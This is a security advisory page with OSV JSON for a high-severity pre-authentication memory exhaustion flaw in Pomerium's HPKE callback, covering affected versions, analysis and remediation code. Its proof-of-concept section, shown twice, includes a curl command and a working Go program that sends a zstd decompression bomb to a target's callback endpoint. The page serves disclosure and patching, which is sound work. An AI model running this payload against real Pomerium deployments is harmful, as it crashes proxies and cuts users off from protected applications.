CVE-2026-50285: Github.com/pomerium/pomerium Pomerium Pre-Auth Memory Exhaustion Vulnerability

HIGH
Advisory Identifier: GHSA-ggw3-5987-rx77
CVSS 7.5
CWE-400 CWE-1284
Published
Advisory Summary

CVE-2026-50285 is a HIGH (CVSS 7.5) pomerium pre-auth memory exhaustion vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Github.com/pomerium/pomerium libraries in the Go ecosystem. The issue involves pomerium pre-auth memory exhaustion via unbounded zstd decompression in hpke callback. Remediation is available by upgrading affected packages to version 0.32.8.

CVE-2026-50285 at a Glance

CVE Identifier CVE-2026-50285
GHSA Identifier GHSA-ggw3-5987-rx77
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Github.com/pomerium/pomerium
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-50285

To remediate this vulnerability, upgrade all affected Github.com/pomerium/pomerium dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/pomerium/pomerium fixed: 0.32.8
Upgrade github.com/pomerium/pomerium to 0.32.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/pomerium/pomerium

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50285, inspect your project dependencies for Github.com/pomerium/pomerium:

inspect dependencies for github.com/pomerium/pomerium

Analyze the terminal output to locate any version of Github.com/pomerium/pomerium in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.32.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Github.com/pomerium/pomerium, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Attack Vector:** Network — the `/.pomerium/callback` route on the proxy service is externally reachable. - **Attack Complexity:** Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply. - **Privileges Required:** None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page). - **User Interaction:** None - **Scope:** Unchanged — the DoS is confined to the Pomerium proxy process itself. - **Confidentiality Impact:** None - **Integrity Impact:** None - **Availability Impact:** High — repeated attacks can exhaust process memory and crash the proxy. ## Affected Component - `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171) - `internal/authenticateflow/stateless.go` — `Callback` (line 385–393) - `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54 ## CWE - **CWE-400**: Uncontrolled Resource Consumption - **CWE-1284**: Improper Validation of Specified Quantity in Input ## Description ### Unbounded zstd Decompression in `decodeQueryStringV2` `pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`): ```go var zstdDecoder, _ = zstd.NewReader(nil, zstd.WithDecoderLowmem(true), ) func decodeQueryStringV2(raw []byte) (url.Values, error) { bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit if err != nil { return nil, err } return url.ParseQuery(string(bs)) } ``` `WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB. By contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`: ```go r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap ``` The protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense. ### HPKE Does Not Block the Attack — Sender Validation Is Too Late `DecryptURLValues` for the V2 format (`url.go:107–126`): ```go case IsEncryptedURLV2(encrypted): senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled // ... sealed, err := decode(encrypted.Get(paramQueryV2)) // ... message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds // ... decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED ``` `Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys. Sender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391–397`): ```go senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form) // ... zstd already completed ... err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker ``` The decompression memory spike occurs unconditionally before rejection. ### Pre-Auth Execution Chain on the Proxy Callback The proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`): ```go c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter() c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet) ``` For Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect. Pomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`): ```go root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler( traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey))) ``` The full attack requires no credentials of any kind. **Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything. ## Proof of Concept ```bash # Step 1: Retrieve the receiver public key curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head # Step 2: Build and send the decompression bomb (requires Go) ``` ```go package main import ( "encoding/base64" "fmt" "net/http" "net/url" "strings" "github.com/klauspost/compress/zstd" "github.com/pomerium/pomerium/pkg/hpke" ) func main() { // Fetch receiver public key from the target resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key") pubBytes := make([]byte, 32) resp.Body.Read(pubBytes) resp.Body.Close() receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes) // Attacker generates their own sender key pair attackerPriv, _ := hpke.GeneratePrivateKey() // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed plain := "x=" + strings.Repeat("A", 128*1024*1024) enc, _ := zstd.NewWriter(nil) compressed := enc.EncodeAll([]byte(plain), nil) // Seal the bomb with attacker's private key → server's public key sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed) form := url.Values{ "k": {attackerPriv.PublicKey().String()}, "q": {base64.RawURLEncoding.EncodeToString(sealed)}, } // Deliver to the pre-auth callback endpoint target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode() fmt.Printf("Sending bomb to: %s\n", target) http.Get(target) fmt.Println("Done — server allocated ~256 MB per request") } ``` Repeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation. ## Impact - **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`). - An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload. - Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment. - No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port. ## Recommended Remediation ### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred) Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes: ```go const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string func decodeQueryStringV2(raw []byte) (url.Values, error) { bs, err := zstdDecoder.DecodeAll(raw, nil) if err != nil { return nil, err } if len(bs) > maxDecompressedQuerySize { return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs)) } return url.ParseQuery(string(bs)) } ``` This fixes the root cause at the lowest layer and protects all callers unconditionally. ### Option 2: Validate sender public key before decompressing Restructure `DecryptURLValues` so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps: ```go // In Stateless.Callback, before calling DecryptURLValues: senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k")) if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil { return err // reject before decompression } // then proceed with decryption and decompression ``` This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

CVE-2026-50285 Affected Github.com/pomerium/pomerium Versions

1 component(s)
Fixed Versions:
0.32.8
Product / Package Ecosystem Affected Versions Fixed Version
github.com/pomerium/pomerium
Go
≥ 0.32.6
< 0.32.8
0.32.8

References

Frequently Asked Questions

What is CVE-2026-50285?
CVE-2026-50285 is a security vulnerability in Github.com/pomerium/pomerium involving Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback under CWE-400: Uncontrolled Resource Consumption.
Which Github.com/pomerium/pomerium versions are affected?
Affected versions include releases prior to 0.32.8 across affected packages: github.com/pomerium/pomerium.
What version fixes CVE-2026-50285?
Upgrading to 0.32.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/pomerium/pomerium affected?
Yes, github.com/pomerium/pomerium is affected in releases prior to 0.32.8. Upgrade your dependency to 0.32.8 or later.
What is the CVSS score of CVE-2026-50285?
CVE-2026-50285 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-50285?
CVE-2026-50285 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2026-50285?
Run the dependency tree command: 'inspect dependencies for github.com/pomerium/pomerium'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ggw3-5987-rx77",
  "modified" : "2026-07-15T23:08:18Z",
  "published" : "2026-07-15T23:08:18Z",
  "aliases" : [ "CVE-2026-50285" ],
  "summary" : "Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback",
  "details" : "## Summary\n\nThe HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network — the `/.pomerium/callback` route on the proxy service is externally reachable.\n- **Attack Complexity:** Low — the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply.\n- **Privileges Required:** None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).\n- **User Interaction:** None\n- **Scope:** Unchanged — the DoS is confined to the Pomerium proxy process itself.\n- **Confidentiality Impact:** None\n- **Integrity Impact:** None\n- **Availability Impact:** High — repeated attacks can exhaust process memory and crash the proxy.\n\n## Affected Component\n\n- `pkg/hpke/url.go` — `decodeQueryStringV2` (line 171)\n- `internal/authenticateflow/stateless.go` — `Callback` (line 385–393)\n- `proxy/handlers.go` — `Callback` (line 105–107), route registered at line 53–54\n\n## CWE\n\n- **CWE-400**: Uncontrolled Resource Consumption\n- **CWE-1284**: Improper Validation of Specified Quantity in Input\n\n## Description\n\n### Unbounded zstd Decompression in `decodeQueryStringV2`\n\n`pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166–176`):\n\n```go\nvar zstdDecoder, _ = zstd.NewReader(nil,\n    zstd.WithDecoderLowmem(true),\n)\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n    bs, err := zstdDecoder.DecodeAll(raw, nil)  // no size limit\n    if err != nil {\n        return nil, err\n    }\n    return url.ParseQuery(string(bs))\n}\n```\n\n`WithDecoderLowmem(true)` reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.\n\nBy contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`:\n\n```go\nr = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap\n```\n\nThe protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense.\n\n### HPKE Does Not Block the Attack — Sender Validation Is Too Late\n\n`DecryptURLValues` for the V2 format (`url.go:107–126`):\n\n```go\ncase IsEncryptedURLV2(encrypted):\n    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled\n    // ...\n    sealed, err := decode(encrypted.Get(paramQueryV2))\n    // ...\n    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt — succeeds\n    // ...\n    decrypted, err = decodeQueryStringV2(message)  // zstd decompress — UNBOUNDED\n```\n\n`Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys.\n\nSender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391–397`):\n\n```go\nsenderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)\n// ... zstd already completed ...\nerr = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker\n```\n\nThe decompression memory spike occurs unconditionally before rejection.\n\n### Pre-Auth Execution Chain on the Proxy Callback\n\nThe proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53–54`):\n\n```go\nc := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()\nc.Path(\"/\").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)\n```\n\nFor Stateless-flow deployments, `p.Callback` → `authenticateflow.Stateless.Callback` → `hpke.DecryptURLValues` (unbounded decompress) → `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.\n\nPomerium's HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`):\n\n```go\nroot.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(\n    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))\n```\n\nThe full attack requires no credentials of any kind.\n\n**Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.\n\n## Proof of Concept\n\n```bash\n# Step 1: Retrieve the receiver public key\ncurl -so receiver.pub \"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\" | xxd | head\n\n# Step 2: Build and send the decompression bomb (requires Go)\n```\n\n```go\npackage main\n\nimport (\n    \"encoding/base64\"\n    \"fmt\"\n    \"net/http\"\n    \"net/url\"\n    \"strings\"\n\n    \"github.com/klauspost/compress/zstd\"\n    \"github.com/pomerium/pomerium/pkg/hpke\"\n)\n\nfunc main() {\n    // Fetch receiver public key from the target\n    resp, _ := http.Get(\"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\")\n    pubBytes := make([]byte, 32)\n    resp.Body.Read(pubBytes)\n    resp.Body.Close()\n\n    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)\n\n    // Attacker generates their own sender key pair\n    attackerPriv, _ := hpke.GeneratePrivateKey()\n\n    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed\n    plain := \"x=\" + strings.Repeat(\"A\", 128*1024*1024)\n    enc, _ := zstd.NewWriter(nil)\n    compressed := enc.EncodeAll([]byte(plain), nil)\n\n    // Seal the bomb with attacker's private key → server's public key\n    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)\n\n    form := url.Values{\n        \"k\": {attackerPriv.PublicKey().String()},\n        \"q\": {base64.RawURLEncoding.EncodeToString(sealed)},\n    }\n\n    // Deliver to the pre-auth callback endpoint\n    target := \"https://TARGET_HOSTNAME/.pomerium/callback/?\" + form.Encode()\n    fmt.Printf(\"Sending bomb to: %s\\n\", target)\n    http.Get(target)\n    fmt.Println(\"Done — server allocated ~256 MB per request\")\n}\n```\n\nRepeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation.\n\n## Impact\n\n- **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`).\n- An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.\n- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.\n- No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.\n\n## Recommended Remediation\n\n### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred)\n\nApply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:\n\n```go\nconst maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n    bs, err := zstdDecoder.DecodeAll(raw, nil)\n    if err != nil {\n        return nil, err\n    }\n    if len(bs) > maxDecompressedQuerySize {\n        return nil, fmt.Errorf(\"hpke: decompressed query string exceeds maximum size (%d bytes)\", len(bs))\n    }\n    return url.ParseQuery(string(bs))\n}\n```\n\nThis fixes the root cause at the lowest layer and protects all callers unconditionally.\n\n### Option 2: Validate sender public key before decompressing\n\nRestructure `DecryptURLValues` so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps:\n\n```go\n// In Stateless.Callback, before calling DecryptURLValues:\nsenderPublicKey, _ := PublicKeyFromString(r.Form.Get(\"k\"))\nif err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {\n    return err  // reject before decompression\n}\n// then proceed with decryption and decompression\n```\n\nThis eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pomerium/pomerium"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.32.6"
      }, {
        "fixed" : "0.32.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pomerium/pomerium/security/advisories/GHSA-ggw3-5987-rx77"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pomerium/pomerium/commit/593eb81c7e5bdbe6071a30d330f374967869577f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pomerium/pomerium"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pomerium/pomerium/releases/tag/v0.32.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1284", "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T23:08:18Z",
    "nvd_published_at" : null
  }
}